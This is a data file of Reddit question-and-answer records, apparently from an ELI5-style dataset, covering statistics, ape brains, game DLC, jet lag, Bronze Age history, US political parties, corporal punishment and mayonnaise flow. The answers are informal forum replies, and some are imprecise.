{"q_id": "a4o536", "title": "binomial distribution and poisson models", "selftext": "So I am working on learning stats and I am stuck. I have watched youtube videos and read quite a bit and I need someone to explain a binomial distribution as well as how a poisson model can be applied to the binomial distribution. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4o536/eli5_binomial_distribution_and_poisson_models/", "answers": {"a_id": ["ebga9fl"], "score": [2], "text": ["So, very briefly, a binomial distribution is one where there are only two outcomes, typically _success_ or _failure_.  Think flipping a coin, or seeing if a new drug works or not, a certain number of times.\n\nThere are three rules for a binomial distribution:\n\n1) You have to have a fixed number of trials.\n\n2) None of the trials influences any other of the trials.\n\n3) The probability of success (vs. failure) is the same from trial to trial.\n\nA Poisson model tells you how likely an certain event is to happen, if you know the average of the times that event happens AND you know the total times that event has happened (as opposed to not happening).\n\nIn the binomial distribution, you know how many times something happens (you flip for heads, or success) and you know how many times something doesn't happen (you flip for tails, or failure).  The Poisson distribution is basically a binomial distribution that doesn't count failures.  \n\nThis makes it handier for looking at things like how many times lightning strikes, because you can't know how many times it didn't strike.  The only thing you can count is the number of \"successes.\"\n\nYou can use a Poisson distribution in the same place as you'd use a binomial distribution, if your number of successes is low.  You'd be better off with the normal distribution if your number of successes is high, though, because the Poisson distribution is always skewed right while the binomial and normal distributions are symmetric around a mean.  (The Poisson distribution is skewed because it can't move lower than zero on the left, as it only measures successes.)\n\nThe only reason why you'd use a Poisson distribution rather than a binomial distribution, if you know how many failures you have, is if you have to do the math by hand; it's much easier to do the math for the Poisson than for the binomial."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9q3rf7", "title": "What are the main differences between the human and the brain of apes?", "selftext": "If you cut open up the skull of a human and an ape, what fundamental differences you can observe?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9q3rf7/what_are_the_main_differences_between_the_human/", "answers": {"a_id": ["e86v3le", "e87ptk0", "e87zrsc"], "score": [12, 7, 2], "text": ["I know humans do have a larger cranial space than other apes. There are several hypotheses for how this could have occurred. Human ancestors were likely eating things that weren\u2019t as tough and difficult to eat. Chimps, many primate, and our own ancestors have a large set of jaw muscles that wrap around the back of the skull and attatch to a Mohawk like protrusion on top of the skull. This muscle is very strong and applies a great deal of pressure to a growing skull. Humans have a significantly reduced jaw muscle, and it doesn\u2019t wrap around the skull. This may have allowed the cranium to become larger over time. We know over the last few million years our ancestors did grow their cranial space because we can reconstruct ancestral fossils and we have ample evidence given how difficult childbirth is for our particular species, appearing to have a huge head to birthing canal ratio compared to other species. \n\nNow brain size doesn\u2019t directly equate to intelligence within our own species, but it clearly has effects across species. The larger cranial capacity may have produced the space for a larger frontal cortex and more thinking power. My knowledge here is limited. So maybe someone else can help further. ", "Human brains are _much_ bigger.   Average human brain is maybe 1350 grams.  Average chimp brain is 1/3 that...not too different from a human newborn.  That 3x size difference alone is a huge difference.  \n\nThe major parts are the same and the shape is broadly similar although humans have a big neocortex.", "There's the major size difference and the larger neocortex in humans, but there are many other changes to specific parts.  If you've got questions about differences in specific areas of the brain or how behavioral differences are related to structural differences I could take a shot at that, but running through the entire brain is more than I'm up for right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2ldrfl", "title": "why are dlcs the standard for gaming now?", "selftext": "With many of the games coming out now downloadable content seems to be available for preorder immediately after the game is out. I don't play video games often for this exact reason, I feel as though I am being sold 3/4 of a game just to wait to buy the rest of it at a later date. From a business perspective why would a company not want to send out the whole finished product to make the game more appealing and an overall better experience?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ldrfl/eli5why_are_dlcs_the_standard_for_gaming_now/", "answers": {"a_id": ["cltskxd", "cltsmfb", "cltsmg7", "cltsp8z", "cltsq2q", "clttw04", "cltw8b6", "clty1eb", "cltygj9", "cltyp21", "cltyqs0", "cltzb2e", "clu111g", "clu1v4g", "clu2tdb", "clu2wyc", "clu4zsk", "clumka7"], "score": [2, 3, 2, 8, 67, 17, 3, 6, 3, 11, 2, 7, 3, 2, 2, 2, 2, 2], "text": ["They can sell you a good majority of the game at launch for full price, and sprinkle in the remaining content over time for an additional price to make more money than they would have just selling the game with no 'additional content'", "Because most people will still shell over the money for DLC, that makes it safe. If you can get another 5 bucks for just a few hours more, it's amazing.\n\nDLCs are far more efficient if you consider the time that took creating them, as opposed to the full game. Since most businesses will go for the most profitable route, DLCs are here to stay.", "Games are becoming harder and more expensive to make so they want to produce insensitive to support them more like battlefield or cod. Others just wait for feed back and reinvent the experience like civilization. ", "Gamers are unwilling to spend more than $60 for a game. So instead, publishers sell the \"game\" for $60 and the rest of the content as DLC. Same thing happens in the mobile game market, except it's free/$.99 for a game and all sorts of money for the add-ons.\n", "Some companies do that; hold back features to resell them as DLC. We call those companies assholes.\n\nOn the other hand, for companies that aren't assholes, you need to look at things with the timetable for development in mind. During the lifecycle of a game's development, different groups within the dev team have different amounts of work to do. There are months between the day a game releases and the day that the content-creation group stops having work to do, and historically a lot of the time that meant that those guys would either move to another project or get laid off. You don't need animators once the animations for a game are in place; there's lots of work being done, but it's QA and debugging past a certain point, things that the art guys can't help with.\n\nNowadays, those art guys can just jump right into working on any planned DLC. So even though there's still months before the game releases, you've got guys working on the DLC because they literally can't work on the main game any longer.", "A few reasons: DLCs are possible now due to the internet.  Fifteen years ago the entire idea of making a game, selling it, and then adding additional content or fixing bugs was completely unheard of.  When a game was finished, that was it, and once development stopped, the studio had to move on to making a sequel or an entire different project.  With DLCs they could keep enriching the world they created, and keep adding depth and content to an already \"completed\" game (Skyrim is a great example of this in my opinion).  Some companies do abuse this power though, releasing incomplete games and selling the remaining content to make an extra buck, but this is unethical in my opinion, and gives a bad name to the studios who actually use DLCs correctly.", "content DLC's are not bad things at all. They are no different than expansion packs, which have started with PC games over 20 years ago. Yet if you compare the cost of DLC to expansion packs on PC games you will see that most DLC is cheaper per addition. You are thrown off by the idea that developers abuse DLC to make more money. The reality is, those games that do abuse it get labeled so VERY quickly, and this results in a loss of sales (which essentially prevents sequels, or more titles from that developer). Therefore, it is smart for developers not to abuse this. The only games (mmo's not included) that I can think of that get away with it are CoD and BF due to immense popularity. \n\nAt the same time, including DLC content on disc is not always a bad idea. Just because SOME of it is on disc, does not mean all of it is, and the developers still work on it after initial release. All this does is help with download times if the DLC is a large addition. \n\nIn the end, purchasing DLC is at your discretion. If you feel a game is ripping you off... Don't buy it! There are plenty of titles that are worth it.", "If you buy a game second hand (which so many people do now) the developers and publishers get nothing from that sale. DLC can't be bought second hand though as it's all done online so it's their way of benefiting from second hand sales. The publishers don't get money from the sale, but they do get money from the inevitable DLC the people who own the game are going to buy.\n\nThis is one of the reasons steam can afford to have so many sales, since you have to buy a game new there, publishers and developers get money from every sale so they're more focused on trying to make as many sales as possible instead of trying to squeeze money out of people in other ways.\n\nWhen Xbox One and PS4 were coming out there was some talk about not allowing games to be played second hand to discourage DLC becoming such a popular business choice and to allow bigger sales to be made on the Xbox and PS4 stores but people complained so now we still have a lot of second hand sales and no less DLC.", "There are a lot of great points here but DLC, or the general idea of expansions for a game, have been around for a long time.  Even as far back as Warcraft II and Diablo I there were expansions that made the original almost unplayable once you got used to the additions.  \n\nWith a company like Blizzard you expect more content after the main game is released and people throw money at them in anticipation.  Valve was no different back when they made games (Half Life 1 and 2, for example), and each expansion disc would be $30-$40 a pop at release, almost as much as the full game.\n\nAt least DLC these days is a bit cheaper, usually $10 to $15 per episode and I personally like the idea of season passes.   Getting them all for a discounted price, I wouldn't call companies who practice this assholes since the industry is keeping itself afloat with jobs as a whole.", "Well if a respectable company such as Bethesda releases a DLC it is guaranteed to be a high quality addition to a game you thought was over, DLCs such as Dawngaurd for Skyrim, or Point Lookout for Fallout3 are always worth the price you pay and benefit the company and the consumer, You get more game? Awesome. Company get more money? Awesome. It's a win-win and I agree with them completely \n\n\n\nHowever, some evil corporations, such as Ubisoft, will have already lined up additional content available for purchase before the initial game has even been released. This is also content that could have easily been thrown in with the initial game itself and is an immoral and un-American thing to do.\n\nEli5 of sorts: \n\nBethesda will charge you $150 for a night at their hotel, after your stay you have the option to pay an additional $50 for a plate at the buffet and an afternoon in the pool. \n\nUbisoft will charge you $150 for a night at their hotel, but if you book your room a week in advance and pay $200 you will get a lock for your rooms door and some limited addition blue curtains. Once you arrive at your room you can purchase a sheet for your bed for only $10, every shower you take only costs $15, and you can call room service to ask for pillows for your bed (only $9 each). After your stay you have the option to pay an additional $150 for a plate at the buffet and another $100 for an afternoon at the pool. ", "Because Money.\n\nThe gaming industry now is more profitable then ever before.", "money money money money money money money money money!!!!!", "It just used to be called an expansion pack. Since physical discs were being used, they were only pushed out for major changes and editions, for example you can look at major series like Elder Scrolls where Morrowind had expansions like Bloodmoon and Tribunal. These expansions typically would cost ~half to full price of the game, and would later be bundled together. When content delivery switched to downloads instead of discs, smaller optional updates became feasible. This actually cheesed a lot of people like you, as they figured DLC=expansion, or at least something substantial. Back to Elderscrolls, you can look up the \"horse armor\" controversy where the first DLC was just cosmetic and was then followed by some slightly more substantial DLCs but not on the scale of the old expansions. \n\nSo how has it changed?: There are cheap cosmetic DLC available from the beginning because it is vanity/luxury and people will pay for it. There are preorder DLC that again fit the vanity description but allow people to just outright buy the preorder bonus (e.g. Borderlands). There are fullblown expansion like DLC, e.g. Skyrim's dragonborn, and there are minor features, like dawnguard. The minor features can also be used to continue the story if the player is interested (e.g. Borderlands). DLC has also allowed for incremental balancing and feature adding, like with paradox's games that somewhat dynamically receive content+dlc patches for  < $10 that likely weren't envisioned before the game was released.", "The simplest answer is because people will pay for it, so game companies all started doing it. \n\nWhen The DLC trend began, it was a rare event. Sometime it would be a free goodwill gesture from the developer (like a really beefy patch) and sometimes it was a legitimate attempt to expand the game (Oblivion comes to mind). Once companies learned that people were willing to pay for content, they shortened the initial story lines and expanded the DLC offerings. \n\nIf people hadn't paid, we wouldn't see DLC. ", "If one person makes a game and sells it 1000 people for 50 bucks, ignoring all the middleman stuff, that's $50,000.  Now let's say you have 100 people working on a game and that game sells 100,000 copies also for 50 bucks, you obviously are now making $5,000,000.  However, both games are considered full packages, even though the second game is hypothetically 100x more complex because 100x more people/hours were put into it.  For example, Halo 4, Bisohock Infinity, GTA V, and Destiny all have gigantic budgets, and hundreds of people working on them, yet sell for the same price as any other triple A game on the market.  They can do this because they know so many people are going to buy the game, its an economy of scale.  When you're dealing with these massive triple A games, you are getting a more complex project because the amount of people who are buying this project allows very large teams to work on them.  However, the little game and the big game are still considered complete packages, even though they are being released for the same price, and one has a lot more complexity put into it.  So an executive thinks that because the product is more complex, it should be more expensive, and the game is partitioned accordingly.  It's all about increasing profitability.", "Everything a business does is to make more money plain and simple so answer is it makes them more money. People may complain about it but someone is buying it otherwise it wouldn't have become such a widespread and accepted practice.\n\nThese days the industry is trying to move towards games as a service rather than a product because service means continuous year round revenue stream while product means you have to scrape by between projects. Easier for big time pubs and studious who sell absurd amounts but hard for the smaller guys. Service makes you more money and provides stability which is what every business hopes for.", "Diversification of there revenue stream. See unlike movies and music which have tons of diversification ( ie they don't have to sell a lot of records to make a lot  money. games on the other hand do have to sell a lot of copies. But since you have the used market were the same game can be sold multiple times. The devs only see revenue on the copy once. So in order to make more money they make dlc.", "There've been a lot of good answers here, but here's the simplest I can think of that covers everything:\n\nBecause they can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2anddm", "title": "why is jetlag always worse when flying east than when flying west?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2anddm/eli5_why_is_jetlag_always_worse_when_flying_east/", "answers": {"a_id": ["ciwvrs2", "ciwvv4q", "ciwy0li"], "score": [17, 5, 4], "text": ["Traveler going west face a bedtime later than the one in their old time zone. Travelers going east often face bedtimes earlier than the environment in which they\u2019ve just been. It is more difficult to force yourself to sleep than it is to stay awake so the West-bound traveler will experience fewer sleep problems and thus a lighter dose of jet lag", "Your body clock has an innate tendency to run slightly longer than 24 hours. Each morning, your body compensates for this slight discrepancy by contracting your internal clock to synchronize with the 24-hour sun cycle. When you travel west, you gain several hours, so your day is extended and your body gets the extra time it naturally wants. But when you travel east, your day is shortened; that makes it harder to adjust,because your body has to cut its natural cycle even further.", "It is easier to stay awake longer, than to sleep earlier.\n\nWhen traveling East, it is later over there, than where you are (e.g. you leave at 1:00 PM, travel for 4 hours and the local time is 10:00 PM). Trying to sleep without being sleepy tends to wreck people's sense of time and creates jetlag.\n\nTraveling West means time is earlier (e.g. you leave at 1:00 PM, travel for 4 hours and he local time is 1: PM still!). Now you have to stay awake \"longer\" than usual, however by the time you should go to sleep at the local time, you ARE tired and able to sleep. As such jetlag was a much lesser effect on you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8r1caa", "title": "why do companies i've used/purchased from send me so many offers for 'new customers only'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8r1caa/eli5_why_do_companies_ive_usedpurchased_from_send/", "answers": {"a_id": ["e0nm40e", "e0noswa", "e0nqi58"], "score": [5, 7, 10], "text": ["Because new customers look good on stats and may tell others about the brand. Also, the companies may take advantage of impulse/bargain purchases. ", "It takes too much time to cross reference the mailing lists they purchased with their current customers. ", "You\u2019re being piggybacked. Think of it like this: You just bought a new Tesla and on the side of your Tesla there is an offer for new customers. You might think - but why? I already own a Tesla. Except that the advertisement is not for you, it is for people like you. They are simply using your mobility/social circle to gain visibility to people with your income bracket, demographic, coolness etc. \n\nThese leaflets and catalogues sent to you may be seen by members of your building, family etc. - who likely share many of your spending patterns and are thus potentially new customers.  And if your name is clearly marked on the leaflet, you are even given the firm an indirect endorsement as far as your neighbours/family members are concerned.\n\nAlways opt out of advertisement or give false details. Make life hard for advertisers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bppgay", "title": "How could the Sea People have iron weapons and not the more advanced Egyptians and Hittites?", "selftext": "According to many historians, the Bronze age collapse was partly caused by the invasion of the so-called Sea People, who came from the Agean sea and ravaged the very powerful Egyptian and Hittite civilizations thanks to their iron weapons, whereas their opponents only used bronze. But iron requires advanced heating technology to be separated form iron ore. How come Egypt or the Hittites, who most likely had more means, didn't develop iron technology first?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bppgay/how_could_the_sea_people_have_iron_weapons_and/", "answers": {"a_id": ["enwspfx", "enwuxz5", "enxc9os"], "score": [67, 1125, 162], "text": ["While we wait for a new answer, it might be worth reviewing the [FAQ entry](_URL_0_) on the Sea People. Quite a few questions have been asked about them over the years, and some of those previous answers might help to inform our thinking about the subject!", " >  the Bronze Age collapse was partly caused by the invasion of the so-called Sea People\n\nCorrect.\n\n >  ravaged the very powerful Egyptian and Hittite civilizations thanks to their iron weapons.\n\nIncorrect. There is no evidence that the sea people developed iron technology. What evidence we do have shows that even if the Sea People were bearing iron weapons (we don\u2019t have enough solid evidence that they definitely had them), it was because they had obtained them from the Hittites and Egyptians. Furthermore, during the period of the Sea People, iron was still a rare metal - there is just no way that armies the size of the Sea People\u2019s would have been equipped with iron in numbers large enough to make a difference in battle.\n\nI\u2019m really curious as to why you say \u201caccording to many historians\u201d, because I can\u2019t find a single reputable source that says the Sea People\u2019s military success against Egypt and the Hittite empire was thanks to iron weapons. There is some evidence that the raids of the Sea People helped spread the technology of iron working, but zero evidence that they developed that technology themselves.\n\nMain Source:\n1177 B.C.: The Year Civilization Collapsed, Eric H. Cline", " > According to many historians, the Bronze age collapse was partly caused by the invasion of the so-called Sea People, who came from the Agean sea and ravaged the very powerful Egyptian and Hittite civilizations thanks to their iron weapons\n\nIt is more appropriate to call the \"Sea Peoples\" (a term which I dislike intensely for [reasons I have outlined elsewhere](_URL_4_)) an exacerbating factor than a root cause. Increasingly ancient historians consider these migratory groups victims or symptoms of the collapses, particularly because several of the groups are fairly well attested more than 100 years before the end of the Bronze Age. The Karki\u0161a and Lukka, for example, fought on behalf of the Hittites in the Battle of Kadesh. \n\nWe should be extremely cautious about taking Egyptian inscriptions at face value and compressing a long series of events and migrations into a few decisive battles. Egyptian historical inscriptions often get a bit carried away in a bombastic style, for the goal was to record a view of the world and events according to the Egyptian mindset, which often meant taking some liberties with historical events and dialogue. Egyptian scribes were not averse to editing, recycling, or even inventing events from the past. With regard to the \"Sea Peoples\" inscriptions specifically, it should be noted that Ramesses III's inscriptions at Medinet Habu imitate the Kadesh inscriptions of Ramesses II in style, language, and content, as Ramesses III was - as his name suggests - attempting to equate himself with this famous ruler of the past through a recounting of his deeds. ^1\n\nIn the inscription on the second pylon at Medinet Habu, dated to year 8 of the reign of Ramesses III, for example, the city of Carchemish in Syria is listed as destroyed by invaders, along with other Syrian cities such as Arwad. We know from textual and archaeological evidence from Carchemish, however, that Carchemish not only survived the end of the Bronze Age more or less intact but thrived after the collapse of the Hittite Empire. Along with Aleppo, it emerged as the major center of Hittite power in the Early Iron Age. The ruling families of Carchemish and Aleppo were direct descendants of the ruling family of \u1e2aattu\u0161a, as \u0160uppiluliuma I (14th century BCE) placed two of his sons on the thrones of those cities after he conquered Syria. These cadet branches outlasted the main royal line by at least a few decades and possibly upwards of a century or more. The Egyptians were not terribly concerned with the accuracy of the list of the cities destroyed; what was important was emphasizing how mighty Ramesses III was, a king who had defeated an enemy so powerful that it had destroyed the rest of the ancient Near East - however questionable that claim may be. \n\n^1 Much has been written on Egyptian historiography, and more work remains to be done, but Jan Assmann's [*The Mind of Egypt*](_URL_2_), Colleen Manassa's [*Imagining the Past: Historical Fiction in New Kingdom Egypt*](_URL_0_), and Thomas Schneider's [article](_URL_1_) \"History as Festival? A Reassessment of the Use of the Past and the Place of Historiography in Ancient Egyptian Thought\" are essential reading for anyone interested in the topic. \n\n----------------------------------------------------------------------------------------------------------------------------------\n\n > How come Egypt or the Hittites, who most likely had more means, didn't develop iron technology first?\n\nThe answer to this is simply \"they did.\" Iron-working is attested among all of the major Bronze Age states, including Egypt, \u1e2aatti, Assyria, and the Aegean. There's always more to be said, but I wrote about this in [To what extent did the Hittites make use of iron?](_URL_3_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/antiquity#wiki_sea_peoples.3A_who_were_they.2C_where_did_they_come_from.3F"], [], ["https://books.google.com/books?id=mY0zAQAAQBAJ", "https://www.academia.edu/6397030/History_as_Festival_A_Reassessment_of_the_Use_of_the_Past_and_the_Place_of_Historiography_in_Ancient_Egyptian_Thought_in_K._Raaflaub_ed._Thinking_Recording_and_Writing_History_in_the_Ancient_World_2014", "https://books.google.com/books?id=XEMadfTi_U4C", "https://www.reddit.com/r/AskHistorians/comments/85e0he/to_what_extent_did_the_hittites_make_use_of_iron/dvxdgt3/", "https://www.reddit.com/r/AskHistorians/comments/91cwf7/what_were_the_sea_people_who_invaded_ancient/e2xbrpk/"]]}
{"q_id": "4tlkuy", "title": "Historically speaking, what do the death throes of an American political party look like?", "selftext": "The original Republicans, the Federalists, the National Republican Party, the Democratic-Republican Party, Torries, Whigs, Southern and Northern Democrats, there's easily a dozen political parties that have put candidates into the Presidency but no longer exist.\n\nMy question has 3 main parts:\n\n1. To the general public what did the final years of these parties look like?\n\n2. What were their final candidates like?\n\n3. What happened in the years between the death of one party and a return to the equilibrium of a 2-party system?\n\nEdit: In the interest of answers feel free to cherry pick which particular question you'd like to answer", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4tlkuy/historically_speaking_what_do_the_death_throes_of/", "answers": {"a_id": ["d5iex3p", "d5j4f83"], "score": [33, 78], "text": ["Incidently, has there ever been the rise of a party in the fashion of the Liberal Democrats in the UK that shook down the US bipartisan system?", "The last time a major political party died was the Whigs in the lead up to the Civil War. The Whig Party broke apart on the question of slavery. Northern factions became more anti-slavery, while Southern factions refused to abandon slavery. The Party could not contain these contradictory ideas, so it lost support and quickly found its members deserting the Whig Party for alternatives. \n\nAs the former Whigs began to abandon their party, new political parties appeared to take them in. Those parties included: the Free Soil Party, the American Party (sometimes known as the 'know-nothing' party) and the Republican Party. By the election of 1856, the Whigs were gone. \n\nInterestingly enough, the Democratic Party also split on the issue of slavery in 1860, with Northern and Southern factions emerging to nominate their own candidates. However, the Democrats were able to recover after the Civil War and continue to be a major party to this day (of course).\n\nThe other major parties that died (The Federalists, Democratic-Republicans, National Republicans kinda) weren't really political parties in the sense that we understand them. They were more alliances of elites competing against each other, as opposed to mass mobilizing voters. The Federalists died largely as a result of the total victory of the Democratic-Republicans and the Democratic-Republicans also died largely as a result of their victory, leading to the somewhat party-less period known as the 'Era of Good Feelings.'\n\nAll the other parties you mention were minor parties that were either formed as result of a brief split from the major parties (Southern Democrats) or as a the result of a single influential man creating the party as a platform to run on (the Progressive Party).\n\nIn a sense the only true major political party that has died was the Whig Party.\n\nSo now comes the real question, why has there not been another party collapse in the 150 or so years after the Civil War? Why have we stuck to the Democrat/Republican divide, even as those parties have changed radically both in supporters and in issues?\n\nThe answer is that absent an issue so divisive as that it literally led to civil war, parties are pretty damn durable. Every time a major challenger to the two parties has emerged (such as the Progressive Party in 1912), one or both of the two parties have adjusted themselves and their issues to try to be welcoming to those voters and issues. Thus the Democratic Party moves from being a small government party in the 19th century, to being a progressive party in the early 20th to being the party of the New Deal in the mid-20th century. \n\nIn America's two party system, which is reinforced by our first-past-the-post system of elections, parties should be viewed less as solid ideological actors and more as alliances of disparate interests that come together in order to seek political advantage. Thus you have labor and environmentalists largely in the same party, not because those two views are immediately reconcilable, but because it is an advantageous political alliance. When those alliances break down, groups may switch from one party to another (something called 'realignment'). Thus the two parties survive, even as supporters and issues may change. \n\nThis is quickly veering into the realm of a political science discussion, so I'll just end here with a few quick answers to your questions.\n\n1. The final years of the Whig Party were the chaotic years leading up to the Civil War. \n2. The Whigs kept nominating war heroes in an attempt to find consensus \n3. Lots of new minor parties and the Civil War\n\nSources:\n_URL_1_\n_URL_3_\n_URL_2_\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Presidential-Campaigns-George-Washington-Bush/dp/0195167163", "https://www.amazon.com/Battle-Cry-Freedom-Civil-War/dp/019516895X", "https://www.amazon.com/Bully-Pulpit-Theodore-Roosevelt-Journalism-ebook/dp/B00BAWHPX2/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1468985270&amp;sr=1-1&amp;keywords=bully+pulpit+doris+kearns+goodwin#nav-subnav", "https://www.amazon.com/John-Quincy-Adams-American-Visionary/dp/0061915416/ref=tmm_hrd_swatch_0?_encoding=UTF8&amp;qid=&amp;sr="]]}
{"q_id": "afamzx", "title": "why has physically disciplining children so rapidly fallen out of favor? it seems like only decades ago, it was commonplace.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afamzx/eli5_why_has_physically_disciplining_children_so/", "answers": {"a_id": ["edwxpxz", "edwybc0", "edx3xc1"], "score": [9, 15, 6], "text": ["Because times change and we progress as a society. At one point it was perfectly acceptable to beat your wife. It isn't anymore, nor should it be. Why should children be any different?", "Because humanity has progressed and years of research has been compiled.\n\n\"The evidence is clear and compelling \u2014 physical punishment of children and youth plays no useful role in their upbringing and poses only risks to their development.\" \n\n\"Effective discipline rests on clear and age-appropriate expectations, effectively communicated within a trusting relationship and a safe environment.\"\n\n_URL_0_", "It really isn't a new phenomenon. Schoolmasters in New York state were banned from corporal punishment in 1877. But the process continues. There are still 19 states where schools can legally paddle students, although apparently few individual schools/school districts permit it.\n\nA big turning point was the parenting book written by Dr. Benjamin Spock, whose 1946 book *The Common Sense Book of Baby and Child Care* was a best seller in the USA for decades, from the late 40s onward.  Here are some of Dr. Spock's comments, quoted from the fifth edition published in the late 80s:\n\n >  \"My other reasons for advising against physical punishment are, in brief, that it teaches children that might makes right, that it encourages some children to be bullies, and most fundamentally, that to the degree that it results in good behavior it's because of the fear of pain. I have a strong belief that the best reason for behaving well is that you like people, want to get along with them, want them to like you.\" (p. 173)\n\n >  \"I don't think physical punishment is necessary or particularly effective.\" (p. 215) \n\nAll editions advised avoiding corporal punishment, but the later editions were worded more strongly. Here is [some information](_URL_0_) on Spock's position over time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3447048/"], ["https://skeptics.stackexchange.com/questions/28022/did-dr-benjamin-spock-recant-his-child-rearing-teachings-later-in-life"]]}
{"q_id": "4d8gck", "title": "Is Mayonnaise a compressible fluid?", "selftext": "I know it's technically a colloid.  I'm working on a question from an eve friend who wants to make a mayonnaise jet pack.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4d8gck/is_mayonnaise_a_compressible_fluid/", "answers": {"a_id": ["d1ozoll"], "score": [49], "text": ["First some clarifications that are somewhat relevant to your question.\n\n* A fluid exhibits *incompressible flow* if the density of fluid parcels is constant. This implies that div(**u**) = 0, which is roughly a statement that infinitesimal volumes are conserved. \n\n* Something is an (homogeneous) *incompressible material* if the density is constant in time and throughout the entire material.\n\nAll incompressible fluids exhibit incompressible flow, but the converse is not true. The density of a fluid can vary throughout the fluid with the flow itself still being incompressible. We very often *assume* the density is constant throughout to make some problems easier or to get a first approximation, but it's important to understand the difference between an incompressible flow and an incompressible material.\n\n(The phrase \"this fluid is incompressible\" technically means that the fluid is an incompressible material, but it is often interpreted as \"this fluid exhibits incompressible flow\". So to be absolutely clear, we often either put in the specific word \"flow\" or just say that the flow is *isochoric*. The word \"isochoric\" literally means \"same volume\" and emphasizes the fact that div(**u**) = 0 is an expression of conservation of volume.)\n\n---\n\nThat being said, you are really asking whether mayonnaise exhibits incompressible flow. Mayonnaise is essentially an emulsion of eggs and oil. So it is a liquid (oil) with solid particles (egg) suspended throughout. Generally speaking, all liquids exhibit incompressible flow. This is not strictly true (e.g., seawater is about 5% more dense at the bottom of the ocean than at the surface), but it is true to a very good approximation for many, many applications. Compressibility becomes important if the flow velocity is comparable with the speed of sound in the material or if you are interested in pressure waves (sound), density waves, or shock waves. For everyday problems with mayonnaise (squeezing through a bottleneck, spreading with a knife), the flow of the mayonnaise can very well be approximated as incompressible.\n\nHowever, you are definitely right to be suspicious of mayonnaise, as it is very clearly not like other liquids like water or even honey. Suppose you have a jar of water or honey and you tilt the jar to pour out the fluid. The gravitational force is said to be applying a shear stress to the fluid. The water or honey immediately begins to pour out as soon as you tilt the jar, no matter how little you have tilted the jar. Yes, the honey flows much more slowly than the water, but it *does* flow right away. (Honey is said to be more viscous than water.)\n\nFluids like water and honey are called *Newtonian fluids* and a defining feature is that the shear rate is a linear function of the shear stress. This just means that the fluid flows as soon as you apply any shear stress and the rate at which it flows increases in proportion to the applied shear stress. That proportionality constant is related to the viscosity of the fluid.\n\nMayonnaise is a *non-Newtonian fluid*, which is simply any fluid that does not exhibit the defining feature just described. There are many types of non-Newtonian fluids. Mayonnaise is an example of a *Bingham fluid* (or Bingham plastic, or yield-stress fluid). A Bingham fluid will flow in response to an applied stress, but only once *enough* stress has been applied. Think of sliding a block on a table. The block doesn't move until you apply a large enough force to overcome static friction. It's pretty much the same idea with Bingham fluids. If you tilt a jar of mayonnaise just a little bit, it will not flow at all. At some point, you will have tilted the jar enough so that the gravitational force is large enough to cause the mayonnaise to flow. (If the mayonnaise is especially thick, it may not even flow if the jar is turned upside down.)\n\nSo for a Newtonian fluid, the shear rate and shear stress are proportional. The graph of shear rate versus shear stress is a line through the origin, whose slope is related to the viscosity of the fluid. For a Binghman fluid (e.g., mayonnaise), the graph of shear rate versus shear stress is a line *not* through the origin. It has some positive *y*-intercept. So you need to give two numbers to characterize the fluid: the slope (related to the viscosity once it starts to flow) and the y-intercept (called the yield stress, the minimum required stress for the fluid to flow).\n\nSo think of squeezing mayonnaise through a bottleneck. Once you squeeze hard enough to overcome the yield stress, the mayonnaise flows through the bottleneck just as any other fluid with some viscosity. Then it falls under gravity and finally lands on your sandwich. As soon as the shear stress is no longer applied (i.e., once it lands on your sandwich), the mayonnaise stops flowing. This is why when you squeeze mayonnaise out of a bottle with, say, a circular opening, you end up just getting long tubes of mayonnaise on your sandwich, which you then have to spread with a knife to get a nice even coating. (This happens for pretty much all emulsions.)\n\n**Summary:** Mayonnaise is a liquid that exhibits incompressible flow. But it is a non-Newtonian fluid, specifically a Bingham fluid. So it requires a certain minimum shear stress before it begins to flow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gow1g", "title": "why in quantum mechanics is it deemed okay to \"cancel\" infinities to make the problem work?", "selftext": "Sorry, here is the video.\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gow1g/eli5_why_in_quantum_mechanics_is_it_deemed_okay/", "answers": {"a_id": ["ckl6or0", "cklcax1"], "score": [5, 4], "text": ["Are you referring to Renormalization?\n\n_URL_0_", "in many practical sciences, infinity isn't *actually* infinity, but instead it's a stand-in for an arbitrarily large number. \n\nfor instance, if you are calculating the magnetic field of a wire, you can assume its length is infinite to simplify the calculation. this works because the length relative to the distance from it is *gigantic*, even if the wire is only a foot or so long."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=bHqkl51KzmM"], "answers_urls": [["http://en.wikipedia.org/wiki/Renormalization"], []]}
